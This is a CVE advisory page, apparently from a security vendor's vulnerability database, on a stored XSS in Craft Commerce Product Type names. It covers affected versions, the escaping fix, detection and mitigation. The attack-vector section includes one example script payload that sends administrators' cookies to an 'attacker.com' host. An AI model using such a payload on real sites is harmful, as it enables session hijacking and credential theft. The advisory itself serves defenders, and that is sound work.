The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-25484

CVE-2026-25484: Craft Commerce Stored XSS Vulnerability

CVE-2026-25484 is a stored XSS vulnerability in Craft Commerce that allows attackers to inject malicious scripts via Product Type names. This post explains its impact, affected versions, and mitigation steps.

Published: February 6, 2026

CVE-2026-25484 Overview

CVE-2026-25484 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Craft Commerce, an ecommerce platform built for Craft CMS. The vulnerability exists due to insufficient input sanitization of Product Type names when displayed in user permissions settings. An attacker with administrative privileges can inject malicious scripts through the Commerce Product Type settings interface, which are then executed when other administrators view the CMS user permissions settings.

Critical Impact

Administrative users with access to Commerce Product Type settings can inject persistent malicious JavaScript that executes in the context of other administrators viewing user permissions, potentially leading to session hijacking, credential theft, or unauthorized administrative actions.

Affected Products

  • Craft Commerce versions 4.0.0-RC1 through 4.10.0
  • Craft Commerce versions 5.0.0 through 5.5.1
  • Craft CMS installations with vulnerable Craft Commerce plugin versions

Discovery Timeline

  • 2026-02-03 - CVE-2026-25484 published to NVD
  • 2026-02-04 - Last updated in NVD database

Technical Details for CVE-2026-25484

Vulnerability Analysis

This Stored XSS vulnerability involves a cross-component attack path where the injection point (source) and execution point (sink) reside in different application areas. The vulnerable input is accepted through the Commerce module's Product Type settings, specifically the name field. However, the malicious payload is rendered and executed in a different context—the CMS user permissions settings page.

The issue stems from the Twig template rendering the Product Type name without proper output encoding. When administrators navigate to user permissions settings, the unsanitized Product Type names are rendered directly into the HTML context, allowing any injected JavaScript to execute within the administrator's browser session.

Root Cause

The root cause is improper output encoding in the Twig template file src/templates/settings/producttypes/index.twig. The Product Type name was being passed through the translation filter (|t('site')) but not through an escape filter (|e), allowing HTML and JavaScript content to be rendered as executable code rather than safely encoded text. This represents a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability.

Attack Vector

The attack requires an authenticated user with privileges to create or modify Product Type settings in the Commerce module. The attacker creates or edits a Product Type, embedding malicious JavaScript in the name field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>). When any administrator subsequently views the user permissions settings page where Product Types are listed, the malicious script executes in their browser context, potentially allowing session hijacking, CSRF attacks, or other malicious actions performed with the victim's administrative privileges.

text
 
     {% set tableData = tableData|merge([{
         id: type.id,
-        title: type.name|t('site'),
+        title: type.name|t('site')|e,
         url: type.cpEditUrl,
         handle: type.handle|e,
         maxVariants: type.maxVariants ?? '',

Source: GitHub Commit Update

Detection Methods for CVE-2026-25484

Indicators of Compromise

  • Review Product Type names in the Commerce settings for suspicious HTML tags or JavaScript code
  • Monitor web server logs for unusual POST requests to Product Type creation/modification endpoints containing script tags or encoded JavaScript
  • Check for unexpected outbound network connections from administrator browsers when viewing permissions settings

Detection Strategies

  • Implement Content Security Policy (CSP) headers to detect and block inline script execution attempts
  • Enable web application firewall (WAF) rules to flag requests containing XSS payloads in form submissions
  • Audit Commerce Product Type names in the database for entries containing HTML special characters (<, >, ", ')
  • Deploy browser-based XSS detection tools that alert on suspicious DOM modifications

Monitoring Recommendations

  • Configure centralized logging for all administrative actions in Craft CMS and Commerce
  • Set up alerts for Product Type creation or modification events with names exceeding normal length thresholds
  • Monitor for JavaScript errors or unexpected script execution in administrator browser sessions
  • Implement regular automated security scans of the Craft Commerce installation

How to Mitigate CVE-2026-25484

Immediate Actions Required

  • Update Craft Commerce immediately to version 4.10.1 (for 4.x branch) or 5.5.2 (for 5.x branch)
  • Audit existing Product Type names for any signs of malicious content and sanitize if found
  • Review administrative access logs to identify any suspicious Product Type modifications
  • Temporarily restrict Product Type modification privileges to essential personnel only until patching is complete

Patch Information

Craft Commerce has released patched versions that address this vulnerability by adding proper output encoding to the Product Type name display. The fix adds the Twig escape filter (|e) to properly encode the Product Type name when rendered in templates. Security patches are available through official releases:

  • Craft Commerce 4.10.1 - Fixes vulnerability for 4.x branch
  • Craft Commerce 5.5.2 - Fixes vulnerability for 5.x branch

For complete technical details, see the GitHub Security Advisory GHSA-2h2m-v2mg-656c.

Workarounds

  • Implement strict Content Security Policy (CSP) headers that disallow inline script execution to mitigate XSS impact
  • Restrict administrative access to Commerce Product Type settings to only trusted users
  • Manually sanitize existing Product Type names by removing any HTML or script content
  • Consider implementing input validation at the application layer to reject Product Type names containing HTML characters
bash
# Configuration example
# Add CSP headers to your web server configuration (nginx example)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';" always;

# Update Craft Commerce via Composer
composer require craftcms/commerce:4.10.1  # For 4.x installations
# OR
composer require craftcms/commerce:5.5.2  # For 5.x installations

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechCraft Commerce

  • SeverityMEDIUM

  • CVSS Score4.8

  • EPSS Probability0.03%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Technical References
  • GitHub Commit Update

  • GitHub Release Version 4.10.1

  • GitHub Release Version 5.5.2

  • GitHub Security Advisory GHSA-2h2m-v2mg-656c
  • Related CVEs
  • CVE-2026-25483: Craft Commerce Stored XSS Vulnerability

  • CVE-2026-25490: Craft Commerce Stored XSS Vulnerability

  • CVE-2026-25485: Craft Commerce Stored XSS Vulnerability

  • CVE-2026-25486: Craft Commerce Stored XSS Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English